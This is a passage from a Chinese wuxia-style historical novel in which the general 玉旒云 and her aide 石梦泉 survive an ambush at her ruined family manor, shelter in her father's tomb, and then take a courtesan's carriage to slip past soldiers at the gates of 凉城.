石梦泉知道,她不想说的话最好就不要问,便默默地陪着她走。不多远,到了一处荷叶最密集的地方,但见枯叶接连,好不萧索。玉旒云站住了脚步,愣愣地看着残荷,忽然叹息一般地吟道:“荷叶生时春恨生,荷叶枯时秋恨成。深知身在情长在,怅望江头江水声。” 石梦泉一怔:玉旒云是贵族出身,过去自然学了琴棋书画,即使舍弃女装之后,也还得学诗词歌赋。不过,他知道她并不喜欢即景抒情,吟哦唱诵。今天这是怎么了? “义山诗,”玉旒云淡淡地说道,“我母亲活着的时候很喜欢。” 还是头一次听她说起过去的事——樾国的人只知她是皇后的妹妹,然而这姐妹俩从何而来,出身什么人家,却没人提起,估计也没人晓得。 “哦。”石梦泉只能这样应,不敢多问,也不敢自己改变话题。 然而玉旒云却又不说话了,静静地望着满是枯叶的荷塘,好像要透过那些叶子,那片水,看到时空中不可追寻的一处,是笑,是泪,是恩,是怨,是情,是仇?她的目光怅惘又茫然。石梦泉什么也解读不出。 良久,晚霞渐退,暮色降临,面对面都要看不清脸孔了,玉旒云才叹了口气,道:“我们上那园子去看看。”便同石梦泉绕荷塘了半圈,来到庄园的门口。但见两个石狮已倒了一只,杂草有半人多高,竟完全荒芜了。 “要借宿,恐怕这里是不成吧?”石梦泉道,“天黑了,还是上那边的村子去比较好。” 玉旒云却好像没听见,在昏沉沉的暮色中踏上了庄园破败的台阶,抬头看门楹上有没有匾额。大约是早就摔落了,上面空荡荡,只有被惊起的鸦雀“喈”地一声蹿了出来。玉旒云又低头在地上找寻,便看到匾额了,天长日久,风吹雨淋,又被进出的人踩过,只剩下个“府”字还在,究竟是什么人的府邸却不可考。 玉旒云随手拣起一根树枝,拔些枯草绑在上面。“给我火褶子。” 石梦泉见她忽发思古之情,拦不住,只得点了火把,同她一起朝庄园中走。 只是,才跨过门槛,就听后面一人叫道:“喂!你们做什么?那里去不得!” 二人都一惊,回身看,是个老年樵夫挑担经过。“有鬼的!进不得!” 玉旒云一向不信鬼神之说,冷笑道:“胡说八道。这里怎么会闹鬼呢?” 那樵夫道:“真是年轻人不知天高地厚——恁大一座园子,要是不闹鬼,会没人打它的主意么?于家的人是都死了,不过还有远房亲戚呢,没一个敢收这庄园去的。不太平。” “笑话!”玉旒云就是这种越劝越不听的性格,招呼石梦泉道:“别理他,咱们进去。”等那樵夫骂句“好心当成驴肝肺”时,玉、石二人早已进了庄园里了。 火把的光辉有限,只能照亮可怜的一小圈。不过就这视野中的所见,也可知这地方是荒芜很久了,甚至看不出曾经有人住过,四处只有丛生的茅草而已,秋夜虫豸“啾啾”而鸣,歌声此起彼伏。 石梦泉看不出这庄园有什么值得黑夜来玩赏的。但玉旒云却仿佛兴致很高,在茅草和瓦砾堆里东钻钻,西踩踩,很快就发现了通往正屋的道路。同石梦泉一起走到跟前去,举火把一照,见一块写着“端正”的匾额还兀自危悬着。玉旒云脸上即显出一种奇妙的孩子气的光芒。 “咱们再往里走!”她说。 石梦泉点了点头,也随手拣起根树枝来,做了火把,同她进了正屋。 屋里其实也跟外头没什么区别了,砖缝里早生了草,如果之前还有过家私,必然早已朽坏。蜘蛛网一层一层地朝人袭来。冷不防还有野猫“喵”地一下从脚边逃走。 若世上真的有鬼,石梦泉想,住在这里也不希奇! 两人摸摸索索穿过了正屋,后面有一带抄手游廊,想是通往二门里去的。他们先从东边的岔路走,发现院里的一座假山倒塌,已经堵死了道路。不得已,只好又折从西边走。石梦泉挥着火把扫除蛛网替玉旒云开路,这就意外地看到灰白的墙上有些字迹。 “大人,看——” 玉旒云凑上前来,见墙上写的是:“呜呼我公,一世之师,由初迄终,名节无疵。有所不为,为无所畏。有所不学,学无不成。才能称于天下,言行信于朝廷……”竟然是一篇祭文。 “真是古怪。”石梦泉道,“别人到古迹游玩,又写些触景生情的诗,这人怎么在这里写祭文?啊,方才那樵夫说这里一户姓于的人家都死绝了,莫非是他家的亲友来写的么?” 玉旒云不说话,只专心读那祭文——字迹如此清楚,好像是才写没多久。她一行一行用手指抚着读过去,到最后两句“昔饮于堂,今奠于庭。念公之不可复见,而其谁与归”,她眼中竟然流露出深深的哀愁,喃喃道:“不知这是谁!” 谁?是这写文的,还是那被祭的?石梦泉自然不晓得。 玉旒云又在这祭文前伫立了一会儿,似乎是要把文章背下来,许久才又继续朝二门里走。 这条路好像近来才有人走过,杂草被拔去了许多。两人没费多少工夫就到了后面,见房间连门板都已经没有了,匾额歪斜地挂着,上书“清懿”二字,正是女眷居所的标志。 玉旒云便自跨进门去,到东厢张张,又到西厢望望。各处破败不堪,跟那正屋差不多。石梦泉见她这样仔细地四下查看,好像又要找找墙上有没有文人骚客的墨宝,于是也就留心帮她搜寻。但遗憾的是,一无所获。 “咦!”忽听得玉旒云欣喜地叫了一声,“看我找到什么了!” 石梦泉回身来望,见她手里一面锈迹斑斑的铜镜,正面照不出人来,背面的图案也全然模糊,没有稀奇之处。不过玉旒云却是满脸兴奋:“我要带回去送给姐姐!” 石梦泉笑:“皇后娘娘什么镜子没有见过呢?莫非这一面是古董?” 玉旒云瞪他一眼:“你不懂!”但自己也不解说原委,只是无限珍惜地将镜子收到怀里。 “好,我不懂。”石梦泉顺着她的孩子脾气,“不过我们要是再不去投宿,恐怕没累死,倒先饿死了,也要成为这庄园里的孤魂野鬼呢!” “这庄园里才没有孤魂野鬼!”玉旒云道,“我们再……” 她话还没说完,忽然听得一声冷笑:“谁说没有!现在就叫你们两个变成一对鬼!”话音落处,寒光一闪,杀意凛冽,已经到了她的跟前。 玉旒云一惊,手中没有兵刃,本能地拿火把来挡。但敌人使的是利剑,“喀嚓”就将火把砍成了两截。石梦泉正要飞身上来相助,不料脑后一阵劲风,竟还有敌人藏匿着,他侧身闪开,即看到一把亮晃晃的钢刀擦着自己的身子斩下。 莫非这就是所谓的鬼?他想,恐怕是些江洋大盗把这里当做分赃之地,为了怕周围百姓发现,就故意装神弄鬼。若只是为了钱财,倒好解决。身在敌境,少惹是非为妙!因道:“各位英雄,我们只是一时好奇,闯入了宝地。你们要多少银子,我们照给。” “银子?”那持刀的人笑道,“我们不要银子,就要你们的命!”说时,钢刀连环劈出。 石梦泉见他们这般凶恶,恐怕一味退让得不着半点好处,便看准那钢刀的来势,一掌拍出,拿住了刀背。跟着,抢步上前,以手肘猛撞敌人的胸口。敌人为要避让,只有撒手丢刀。与此同时,玉旒云也一脚踢在那使剑人的手腕之上,让他的长剑脱手飞出。她直取那人的脉门,厉声喝问:“你们到底是什么人?莫非楚国天子脚下没有王法了么!” 那人“嘿嘿”冷笑,好像有法术一般,不知从何处又变出了一把剑来,若不是玉旒云收手快,恐怕胳膊已经被他削掉了。“你还晓得这是楚国?晓得楚国有天子么?”那人道,“不过我们楚国的王法可保护不了你这樾贼!” 啊,身份暴露了!玉、石二人心中都是一凛:怎么会暴露的?这些人又是什么来路? 此一愣之时,两个对手又攻了上来。同时,房间的阴暗处又有“飒飒”之声,见寒光乱闪,显然是埋伏着的敌人加入了战团。 究竟还有多少人?石梦泉将夺来的钢刀反转,“唰唰”两下,逼退了一个敌人。玉旒云也单脚挑起对手掉落的长剑,握住了,当胸一横,刚好架住一记杀招——敌人的武功变化多端,诡谲无比,与他们这些行伍中的功夫完全不同。这是江湖打法。好像当日她生日宴上那群刺客——莫非又是楚国武林的义师么?不是早用反间计将他们搅得一团糟了么? 这样下去可不是法子!石梦泉迅速地瞥了一眼玉旒云,看她有什么打算。玉旒云也正好默契地朝他一望:速战速决,乱了敌人的阵脚,立刻离开这里! 石梦泉点头以示会意。不过,这荒宅状况复杂,谁知道哪里是出路?外面又有没有敌人? 玉旒云挺剑刺伤一个对手,又把另外一个对手踹开,将混乱的战团打开了一个缺口。跟我走!她递给石梦泉一个眼色。接着,自己点地一纵,直朝一扇破窗扑了过去。 石梦泉不知她选的路有多危险,但无论如何要跟上去。于是钢刀一抡,把近身的敌人都甩开,也跃出窗外。 那外头好像是后花园,杂草有一人高,灌木久不修剪,张牙舞爪,仿佛铁蒺藜做的网,两人的衣服登时就被钩出好几个大口子。但是却无暇顾及——听得身后“扑扑”几声响,显然是敌人也跳窗追了出来。 越到性命攸关的时候就越冷静。这是玉旒云的特点。她和石梦泉的火把都在方才的争斗中掉了,此时只靠着月光照明前行。在这样四周阴暗,道路不明的情形下,她竟毫不犹豫,一刻不停,认准了一个方向直走,石梦泉都不禁心中有些打鼓。 “娘的,到哪里去了?”听见后面有人骂道,“就这样也能叫他们逃了?” “能逃到哪里去?总在这园子里。快搜!” “搜什么?倒不如一把火,烧死他们!” 啊!到处都是枯草!石梦泉心里一紧,这要是点起火来……这园子的尽头在哪里?不会是天长日久,院墙废了,直接连到了外面的荒地上吧?那这里一旦化为火海,就……那荷花塘在什么方向? 只思念间,听见“哔啵”之声,那些人果真点起火来了。 “大人……” 玉旒云头也不回,脚步更快。石梦泉便也一咬牙,紧紧赶到她的身边,挥刀帮她开路。 后面的火舌迅速地舔来,已经可以感觉到灼热。而火光也将前面照得清楚——有个池塘!荒废多年的宅院,池塘竟没有干涸!真是老天给他们出路! “下水!”玉旒云说时,自己已经跳进了池塘中。 普通私家园林的池塘走是人工挖成,并不深,而这一个却根本踩不到底。玉、石二人只有泅游。依然是玉旒云在前,石梦泉在后。火光将水面上照得通明一片。石梦泉看到前面黑黢黢一带院墙,当中一个门,外面月色荡漾,正是荷塘。他心中不禁大喜:只要入了荷塘,随便往枯叶密集处一躲,敌人就难以发觉了。 两人游得愈快。然而到得门前却见有一个铁栅栏挡着。 可恶!石梦泉试着摇了摇,栅栏纹丝不动。 “潜下去!”玉旒云道。 “什么?”石梦泉一惊。可玉旒云已经拉着他,没入水中。 他俩一直向下又向下。玉旒云摸着那铁栅栏,直到底端——那以下,内池塘和外面的水域连通起来,毫无阻挡。如此,两人才逃出了那庄园,浮出水面吸口气,回头望,整个庄园都化为火海了。 好险!石梦泉心有余悸,就算不被烧死,若那铁栅栏一直通到水底,也要被淹死了! 两人片刻也不耽搁,悄悄地游到一片枯荷之中。他们静待了一会儿,不见敌人追来,但显然庄园的大火已经惊动了附近的百姓,为免火势蔓延,殃及他人,许多人都拎了水桶,并高声呼喊邻居,快快救火。 越是人多,越是混乱,越是容易隐藏形迹。玉、石二人寻着个水浅的地方,潜伏不动。 秋夜已甚凉,何况是在水中,寒意透骨。 玉旒云的身体也不知吃得消吃不消?石梦泉担心地望了望她。只见她一动不动盯着那片火海。火光在她的眸子里闪动着,满是愤怒,又似乎有一线悲伤。 他有一种奇怪的感觉:来到芙蓉庙这个地方,进入这荒废的宅院,跳出那窗户就来到了后花园,选择一个方向就找到了池塘,潜下水去,就能出铁栅栏——她的决断,是赌运气,拼勇气,还是……她与这里仿佛有莫大的渊源。他该不该问? “哼,烧光了,烧光了也好!”忽然听见玉旒云恨恨地,一字一字的说道,“烧光了也好!” “什么?”石梦泉不明白她何出此言。 玉旒云只是眯着眼睛盯住那烈火中的庄园,近乎恶毒地赌咒道:“总有一天我要叫你们加倍偿还!咱们走。” 走?虽然泡在水里总不是个事儿,但这时既不能在附近投宿,也进不了凉城——早过了关城门的时间,要走到哪里去呢?石梦泉想,敌暗我明,一动不如一静。 可玉旒云已经一声不响地上了岸,他也只得跟着。两人一前一后地走进一片小树林里,越行越荒凉,到树林尽头时,看到一座颇具规模的坟墓,神道破败,杂草丛生,显然是长久无人修葺了,冷清不堪,但并不给人毛骨悚然之感,反而不自觉地肃然起敬。 二人走到墓跟前,借着月色一看,见碑上写着“于文正公适之同妻钟氏合葬之墓”。石梦泉想到方才那荒废庄园曾经的主任也姓于,莫非这就是他们夫妻的归葬之地么? 玉旒云依然不发一言,凝视着墓碑伫立片刻,就朝墓的后面绕。石梦泉跟了过去,见她在杂草中摸索着,不多时,找到一带台阶。 “这是……”石梦泉大惊。 “我们到墓里去,那些人是怎么也找不到的。”玉旒云说,自己率先走下去。 那台阶并不长,下了没有一丈深,便到了一扇石门跟前。玉旒云在门边摸索片刻,不知按了什么机括,只听“轰隆”一声,石门竟打开了,阴冷的风扑面而来。 她走了进去。里面黑得伸手不见五指。石梦泉再也忍不住了,一把拉住她:“大人……这古墓中万一有什么机关……你……” “不要乱担心。”玉旒云道,“什么机关也没有。” “可是……”实际上,石梦泉想问的是:你是怎么知道这座坟墓的?但他猛然感觉玉旒云在发抖,颤得那样厉害,好像是要失声痛哭一般。“大人,你……” “不要问我!”玉旒云厉声断喝,同时甩开了石梦泉,直跑进那压得人透不过气的黑暗中。 石梦泉愣愣地站在墓门口,好一会儿,眼睛才适应了黑暗,依稀看见玉旒云坐在墓室的角落里,表情就像戴上了面具一样镇定。 “你也累了吧。”她说,“过来坐。明天我们进凉城去。”这声音也像是有面具的,她像是在和随便哪一个下属说话。 石梦泉觉得心中刺痛:她有什么样的秘密,什么样的痛苦,难道不能让他分担一些吗?为什么要自己一个人扛? 不过他终究是她的下属,要听从她的命令。便走了过去,在她身边坐下。 “进凉城,”玉旒云接着说道,“咱们光明正大地去,住最好的客栈,上最好的酒馆——楚人做梦也想不到咱们经过今晚的事,还敢这么张扬。” “也是。”石梦泉答道。 接着是一阵沉默,仿佛有一辈子那么长,谁也没有说话。四周也静寂如死。 石梦泉是很疲惫了,但睡不着,合着眼睛,多年来的种种就一幕一幕地闪现,既清楚又模糊。要怎么样才能使她幸福,使她快乐?他原本以为自己知道,但现在看来,竟似一点儿也不明白。 越想就越清醒,越想就越苦闷。他不由叹了一口气。而这时,忽然感到玉旒云把头靠在了自己的肩膀上。他一惊:“大人……” “那庄园是我的家。”玉旒云幽幽地道,“这是我父亲的坟。这个石门是母亲生前留着打算同他合葬的,只是后来没有这个机会了……” 好像突然被雷电击中似的,石梦泉惊得不知要如何反应。 “我不想再提了。”玉旒云道,“我只告诉你一个人。” 她便不再说话,依然将头靠在他的肩膀上。过了一会,听见她均匀的呼吸,已经睡着了。 39. 第 39 章 果真“明目张胆”地进了凉城,住进一间最豪华的客栈,休息好了,又去六合居吃饭——玉旒云好像与谁斗气似的,硬是包下了土财主王富贵的雅室,叫了全部六合居的名菜,满满的一桌子,就是有二十个人也吃不完。 然后便是那场绝妙好戏了——石梦泉看到小丑扮玉旒云,眉头拧成个疙瘩。而玉旒云自己却笑道:“楚国的家伙什么本事也没有,最爱学这种泼妇行径——打不过别人就骂人家的祖宗十八代。难道他骂了我,我就真成小丑么?让他们折腾去。咱们且在这里瞧热闹。” 她其实懒得和下九流一般见识,对“看热闹”一点儿兴趣也没有。然而没有想到,戏很快就演到台下来了——崔抱月、冷千山、程亦风、公孙天成,一个跟一个登场。她和石梦泉隔着雅室的珠帘,听到这些名字不禁惊讶万分,互望着:有勇无谋的女镳师也好,彻头彻尾的草包将军也好,被奉为军神却只擅长撤退的才子统帅也好,来历神秘但却是大青河之战真正的策划者也好——战场早已较量过了,不意今日竟在此聚首! 老天爷可真会开玩笑! “这个冷千山,”玉旒云低声对石梦泉道,“我不明白程亦风怎么能容忍他到此时。如果我做兵部尚书,早就把他革职了。” 石梦泉道:“不是听说楚国朝廷办事程序极其复杂,一点小事都要反复讨论么?你看冷千山党羽众多,程亦风想裁了这个人恐怕不是易事。” “程亦风……程亦风……”玉旒云若有所思,“这人实在是太奇怪了。他应该是个很会应变的人,若不能把冷千山这种害群之马从军中赶出去,至少可以给他找个闲差,让他不至于到战场上捣乱——让他去督粮啦,造盔甲啦,养马啦,干什么都好。眼不见,心不烦。” “大人忘记了么?”石梦泉笑道,“上次冷千山押粮草,却打算私自屯兵向我国挑衅,结果被山贼抓了去,狠狠羞辱了一番。如果要去他造盔甲、养马,还不知道惹出什么麻烦来呢!” 玉旒云听了,一笑:“倒也是。不过,程亦风就是因为去剿土匪,结果得了公孙天成这个谋士和杀鹿帮的那些土匪,这些个人……” “大青河之战不是你的过失。”石梦泉道,“那是岑远不听军令……还有刘子飞和吕异……” 玉旒云笑着同他举杯:“你也是做将军的人,怎么会不知道?一场战役若是胜了,必是因为全军士卒英勇顽强之故,而若是败了,必然是因为主帅指挥不利。咱们和小卒不一样。对于咱们来说,胜利都是‘戴着手套’而取得的,而失败,决没有隔着手套的失败。” 石梦泉将酒一饮而尽,道:“那么你就怪罪手套好了——我岂不就是那手套么?” “胡说八道!”玉旒云拿筷子打了他一下,“你是我的手,怎么会是手套呢?” 两人正说笑,就听外面冷千山高声叫道:“王富贵!” “大人——”石梦泉知道,在这里暴露身份后果不堪设想。 “怕什么!”玉旒云淡淡地,“凭他那种草包,还不配见过我呢!我也正想看看程亦风现在是个什么样子!”说时,起身整了整衣服,走到了雅室外。 那时整个六合居的人已经都被冷千山搅和出来了,二楼每间雅室门前都站着几个敢怒不敢言的客人,窃窃地议论。 玉旒云看到面前堵住自己去路一个四十多岁国字脸的男人,手持订座的名册,想来就是冷千山了。后面还跟了几个高矮胖瘦不一的男子,应该就是董鹏枭、向垂杨等人,不过他们的名字和脸玉旒云一个也对不上号。再看旁边雅室门前无可奈何站着的几个文士打扮的人,当先那个三十多岁,温文儒雅,既称不上英俊,又算不上威严,但是一看就知道必是程亦风无疑。他后面五十来岁清瘦的老者,自然是公孙天成。另外还有一个中年儒生看来是带着夫人,她却不认识,另一个青年公子,也全然陌生。 未想到战场上生死相争的对手竟在酒楼里遇到。玉旒云忍不住嘴角露出一丝微笑。 不过这时,又感觉有两道惊诧的目光定在自己的脸上。她警觉地迅速瞥了一眼,看到是程亦风那群人中的一个年轻随从。啊,是他!玉旒云派出来的暗桩子素来只同自己单线联系,便是石梦泉也认不出来。南行之事,她事先并没有同此人透过消息,在这里遇到是谁也料想不着的。万一他露了声色,叫程亦风察觉……玉旒云心中一紧,但是面上却不显露分毫,假装根本就没见到自己的细作,自去和冷千山敷衍。 她早在进凉城时就跟石梦泉讲好了,为恐被人听出北地方言来,一切应对都又自己亲自出面。这时也不例外,流利地道的凉城话,丝丝入扣的分析,不卑不亢旁观者的态度,不时就把冷千山说得哑口无言。 “冷将军还要继续追查这戏是谁写的么?”她道,“请便吧。在下戏是看完了,酒还没喝够,先回席上去了。少陪!”说时,拱了拱手,和石梦泉一齐转回雅室之中。 “大人,”石梦泉低声道,“姓冷的是盯上咱们了,此处不可久留。” 玉旒云道:“谁说要留了?戏也看完了,人也都见过了,难道还真稀罕这点酒菜不成?等他再查两间雅室,咱们就走,这会儿肯定盯得咱们紧呢!” 石梦泉一想,果真如此,又道:“一会儿要不见了咱们,他还不晓得要闹得这城里怎样鸡犬不宁。我看客栈今晚是不能住了,早早出城为妙。” 玉旒云点头道:“正是。只不过现在城门已关闭了,只有等明天早晨。咱们也不用雇车,回头找两匹马,明天一早就走。” 两人计议着,同时仔细留心外面的动静,看冷千山继续查其他人去了,便快步走到窗边,见下面街上灯光璀璨,行人不是忙着赏灯就是忙着赏月,根本不会有人注意到他们,就相视一笑,跃到外面的飞檐之上,又纵身跳上了邻近的屋脊。如此起起落落,过了几条街,回到客栈,并无人发觉。 一宿平安无事,至次日天亮,便欲立即结帐离开。岂料才到柜台,就看到好些顺天府的官兵,咋咋呼呼地闯了过来,手里拿了一卷画像,令掌柜贴在门前:“这两个是江洋大盗,放亮眼睛瞧仔细了!谁要是欺瞒不报的,冷将军饶不了他!” 掌柜唯唯连声,吩咐伙计快去熬糨糊,自己看顺天府的人一转身,就将文榜丢开一边,且嘀咕着骂道:“贴在大门口!那岂不好像我店里曾窝藏强盗?我这生意还怎么做得下去?” 玉旒云和石梦泉互望一眼,搭讪笑道:“果然!贴在门口也太煞风景了。像掌柜您这间店,住得都是有身份的人,怎么可能跟江洋大盗扯上关系?” 掌柜道:“可不是!公子您是明眼人!” 玉旒云递张银票给他,面额一千两。掌柜立刻喜得两眼发光,把方才的抱怨都抛到了脑后:“两位公子不多住些日子?凉城周围的名胜可多呢。咱们凉城的姑娘们也比别处的漂亮,那绮春院、恋秋院、偎红阁、倚翠馆——呵,才貌双全温柔体贴,若不去见识一下,可算白来凉城啦。” 玉旒云一笑:“掌柜这样说,我倒是有些动心。不过,在外做生意,一刻都不得浪费。” 掌柜一心只想多留他们几日,好多赚些钱:“公子说的也是。我也是个做生意的,晓得时间就是白花花的银子,不过春宵一刻也值千金呢。您若不去见识见识凉城的姑娘,真会后悔的。” 石梦泉觉得这掌柜粗俗猥琐令人生厌,正想干脆斥他一句,叫他赶紧结帐,休要纠缠不清。可玉旒云却恶作剧地笑着,道:“掌柜你有所不知,倘若只是我一个人,那就非得去享受个三天三夜不可,正是牡丹花下死,做鬼也风流。不过,我的这位兄弟——实不相瞒,你别看他人高马大,其实畏妻如虎。而他老婆也确实是个少见的泼妇。如果被他知道我们在路上耽搁了时日,哪怕我们没进书院,她也要认定我们是去了。我兄弟的日子可就要难过啦。就连我也要跟着遭殃呢!” 石梦泉哪料到她编出这样一条理由来,脸“腾”地就红了。 掌柜见状,反而信以为真,道:“哦……那……那……” 玉旒云道:“下次我一个人来时,一定要向掌柜的请教几处好去处,好好风流一番。” 掌柜知道这是客套话,只得敷衍地笑了笑,上后面找钱去了。玉旒云赶紧将柜台上的通缉文榜抓了过来,展开同石梦泉一看,那画的可不就是他们两个人么。不禁恨恨道:“这拿了鸡毛当令箭的混帐,居然连这种伎俩也使得出来!早知如此,昨晚硬闯也要闯出城去。” 石梦泉道:“他说我们是江洋大盗,可见还不知我们的身份。便真的充做江洋大盗,杀出城去,然后隐藏行踪,也不失为一个办法。就这些顺天府的小兵,还奈何不得我们。” 玉旒云道:“不过城外还有那些等着杀咱们的人,却不知埋伏在何处。” 才说着,掌柜已拿着找零出来了,不见了柜台上的画像,还道是伙计已拿去张贴了,便又和玉、石二人客气了几句,恭恭敬敬地将他们送出了门。 两人到了大街上,才发觉冷千山小题大做的本领实在是太高强了。大小店铺几乎都在门前贴出了通缉文榜,过往行人无不窃窃议论:“哪里冒出来的强盗?竟然这样兴师动众地通缉,看来是作恶多端了!” 玉旒云气得捏紧了拳头:“这混帐!早知进凉城会遇到他,倒宁可在外面和那些杀手玩捉迷藏。” 石梦泉道:“这都是碰巧的事。哪有‘早知道’的?就不信冷千山能困得住咱们。先去寻马匹吧。” 玉旒云点了点头,但还是不无恼火地说道:“他搞出这么大事来,恐怕咱们还没买到马就已经被人认了出来。” “谁说要买马了?”石梦泉笑道,“咱们现在是江洋大盗,即使不抢马,也要偷马!” 此一语,把玉旒云也逗笑了:“好,咱们就偷马去——可惜不知道冷千山住在哪里,否则把他的坐骑借来用用也不错。” 石梦泉知道她虽然是小孩子脾气,但是做事还识得分轻重,在此危机四伏的时刻,她应该不会当真去寻冷千山的晦气。 两人就小心谨慎地在街上行走,尽量避开人多的地方,见到僻静的小巷就转进去。如此,渐渐离开了热闹的早市,不知不觉到了一处清冷异常的街道——道两边的店铺酒楼还没有一家开门的,连准备开门的架势都没有,前夜里的灯笼都还未熄灭呢。 这是什么地方?玉、石二人好奇地抬眼四望。他们左手边一座华丽的馆阁,硕大的朱漆招牌上写着“绮春院”,右手边的建筑也毫不逊色,招牌上竟然还描了金,写着“恋秋院”,原来是花柳巷,清早妓女和恩客们都还未起身,所以才清静异常,连顺天府的官兵都还未到来。但两人不禁相视咋舌:怎么到头来还是走到了掌柜推荐的地方来? 大约走了半条街,到了掌柜所说那倚翠馆跟前,见这妓院竟修得官府一样堂皇,门口还有石狮子,都披红挂绿,好不艳丽。门上除了“倚翠馆”大招牌外,下面还有另一块黑底金漆匾额,写着“花中魁首”四个字,用的都是正楷,和官府“明镜高悬”的其实也差不多。 玉旒云轻蔑地皱了皱眉头:“这国家,就是不亡在我手里,也得亡在他们自己手里。” 而石梦泉素来最恨烟花之地——他心意早有所属,连愉郡主那样的贵族千金都不会多看一眼,何况青楼女子?每见同僚属下寻欢作乐,他也很不以为然,觉得人和人之间的情义是决不可用银子来交换的。在这美酒和脂粉香味混杂的街道,他浑身不自在。 不过玉旒云突然朝旁边一指,惊讶道:“梦泉,你看那是什么!” 他顺着看去,见有一块石碑,上面刻着一阕《忆江南》,云“清歌缓,天上谪星班。多少无情风共浪,低吟浅唱写诗篇,谁道更超然?”在看下面具名,竟赫然是“程亦风”。他不禁愕然道:“这……程亦风竟然也是这儿的常客么?” 玉旒云哈哈大笑:“谁知道!他或许只来过一次,但是竟留了墨宝,鸨儿还不赶紧刻好了放在外面招徕生意?说不定早晚还要到这石碑前上香呢!” 石梦泉虽没心情开玩笑,但也忍不住莞尔。 正这时,听到“的的的”一阵马蹄响,路尽头一乘油壁香车朝这边驶了过来,分明见到玉、石二人站在路当中,竟不勒马,反而加速直冲。直到了近前才突然刹住。玉旒云才要斥责,那赶车的却先破口骂了起来:“瞎了眼么?还是找死?” 这是一个粗壮的婆娘,模样甚是凶恶。石梦泉想无谓同这些人一般见识,多生事端,就拉住了玉旒云,低声道:“我们还是先离开这里为上。” 玉旒云也清楚两人现在的处境,因此只狠狠地瞪了那婆娘一眼,便欲走开。可不料那婆娘竟愈加凶恶起来,骂道:“有眼无珠的登徒子!你们尽管上那倚翠馆去吧。他们不过是有程大人的一首词而已。想当初,程大人可是咱们偎红阁的常客呢!我们红珠姑娘一个人就敌过他们的四大花魁去了!” 原来是两家妓院争主顾!玉旒云明白了过来——争主顾也都要扯上程亦风的名字,他这兵部尚书、靖武殿大学士也不知是怎么当的! 不过,看了一眼那精致的油壁车,她心中忽然一亮,向石梦泉递了个眼色。石梦泉明白她是想抢了这车马离开凉城,只是担心这赶车婆娘叫嚷起来,难免要惊动整条花街的人,到时可就麻烦了。 然而玉旒云只轻轻一笑,道:“谁说我们去要去倚翠馆?我们一大早前来就是要来偎红阁见红珠姑娘的。” 那婆娘一愣:“是吗?但是红珠姑娘才从张员外家回来,累得很。” 玉旒云知道那车上坐的就是红珠了,一定要设法骗取她的车马才行!于是道:“红珠姑娘,小生久仰姑娘艳名,就算姑娘今日不肯赏光和小生共饮,那也请姑娘无论如何让小生见上一面,以解相思之苦。” 石梦泉听她这样说话,先是惊愕,接着忍不住想笑:这如何不是翼王说话的语气?玉旒云被这王爷纠缠了许久,没想到能把他那登徒子模样也模仿得惟妙惟肖,还在这里派上了用场。 车上的妓女红珠果然就被诓得有些心动了,撩起帘子来,道:“公子,你过来!” 玉旒云便走了过去,但是飞快地回头朝石梦泉使个眼色。当她走到车后时,看这妓女从车帘里伸出一只手,就抓住了猛地一拽。红珠还未反应过来是发生了什么事,已经被玉旒云拖下了车来,更来不及惊叫,已经被扼住了咽喉。她两眼瞪得溜圆,徒劳地挣扎着要向赶车的婆娘求救。然而那边厢石梦泉早也把婆娘给制服了。 “红珠姑娘,”玉旒云充满威胁地说道,“我们要借你的车一用,只要安全出了城,保证不伤你一根寒毛。若是出声叫人,你自己晓得后果!” 红珠吓得除了点头,什么也不会。玉旒云就重又把她拖回车上,同时叫石梦泉和那婆娘一道赶车,权装做是出游的妓女,向南门疾驰而去。 到了那里,见出城的人已经排成了长龙队,顺天府的士兵拿着画像一个一个比对——没想到冷千山的动作这么快!石梦泉不禁暗叫糟糕——虽然有偎红阁的香车和姑娘做掩护,但这样一个一个细查,恐怕还是会被人认出来。他有心调头到小巷中,但是再一想:此时调头岂不更遭人怀疑?只有硬着头皮上前去,万一不济,便用武力强闯出南门再做计较。 他想着,警告地瞪了那偎红阁的婆娘一眼,让她不要胡乱说话。婆娘面色青白,岂有不从? 四人排队排了约莫一顿饭的光景,顺天府的士兵就来到他们的跟前。这些人似乎多少都在花街柳巷里走动过,识得如此招摇的车子必是妓女之物,便有人笑嘻嘻和那婆娘搭讪,问她车里是哪位姑娘。婆娘嘴唇发抖:“是……是红珠姑娘。” 兵丁中有人笑道:“哎呀,红珠姑娘这么早上哪儿去呢?咦,怎么找了这么个小白脸儿赶车?莫不是要私奔吧?” 婆娘看有这许多官兵,动了呼救的心思:“我们……”可才说出这两个字,就觉得一件尖利的事物顶住了自己的后腰——人家捅刀子还不比她叫救命快吗?只得又打消了这念头,强笑着道:“军爷说哪里话?这是我们偎红阁新来……打杂的……咱们红珠姑娘现在是大红人,身价高得不得了了,等着王孙公子来赎她呢,怎么会私奔?” 顺天府的兵丁都嘻嘻哈哈:“哟,有王孙公子啦?那咱们将来可就见不着了,还不趁今天看一看?”说时就要去揭那车帘。 石梦泉如何能叫他们发觉车上的玉旒云,忙一把挡住。 兵丁好不恼火,骂道:“他娘的,你一的小小打杂的,敢挡爷爷的道儿?”说时,一拳就朝石梦泉捶来。 石梦泉虽然另一只手要控制着偎红阁的婆娘,但只用单手也不能着了这小兵的道儿,轻轻一抬胳膊就将他的拳头架住。兵丁感觉自己仿佛打在了钢铁只上,疼得直吸气:“他娘的,你这小子还真有蛮力,你……”他盯着石梦泉的脸——哪里见过——猛地想起自己的正事来,忙拿出画像来比对。 石梦泉心中便是一凉:这下得大动干戈了! 可偏在此时,只听车里玉旒云的声音道:“怎么耽搁了这么久?还要查些什么?”话音落下,竟把车帘儿挑了起来。 石梦泉先看到的是自己熟悉的那双手——握剑的手,指点行军地图的手,白皙修长又稳定,然而帘子全部掀起来时,他不禁怔在当场——这哪里还是那个英姿飒爽的惊雷大将军呢?只见一个紫衣女子,面容清秀纯净仿佛冰雪雕琢而成,眉不画而黛,唇不点而朱,一双眼睛澄静如秋水,又奕奕如星辰,漆黑长发没有半分的装饰,服帖地披下来,称得她整个人秀美绝伦又有凛然不可侵犯之势。 围在车边的兵丁们也都愣住了,有几个只差没流口水:“这……这是……” “这是……我妈妈新认的女儿……”红珠在旁结巴着撒谎,“妈妈叫我带她……带她去沈员外家……去郊游……恩,郊游。” 她说的前言不搭后语,但士兵们光顾着发愣了,倒也没听出破绽。“原来是新来的姐姐,不知芳名是……” “啊,她……她叫……叫紫儿……”红珠随口乱编,“军爷们要查什么就快些吧,奴家们要误了沈员外的约了!” 